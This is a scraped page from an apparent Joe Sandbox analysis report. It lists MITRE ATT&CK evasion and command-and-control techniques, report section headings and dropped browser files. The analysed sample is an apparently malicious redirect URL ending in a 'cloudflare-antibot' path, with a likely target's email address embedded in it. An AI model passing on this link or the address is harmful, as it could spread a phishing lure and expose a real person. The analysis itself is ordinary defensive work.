Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://app.supercast.com/ahoy/messages/NuCwMXL7H9TYxRcbnPV2HNBC27R3XTJ7/click?signature=a81c8ff09c7aec0f320b61cbf7dd42e1a041100b&url=https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot#Kirsten.stevens+sueryder.org

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Windows Analysis Report
https://app.supercast.com/ahoy/messages/NuCwMXL7H9TYxRcbnPV2HNBC27R3XTJ7/click?signature=a81c8ff09c7aec0f320b61cbf7dd42e1a041100b&url=https://nursematte.com/asdbhewjcjfnjernfreddbecje/cloudflare-antibot#Kirsten.stevens+sueryder.org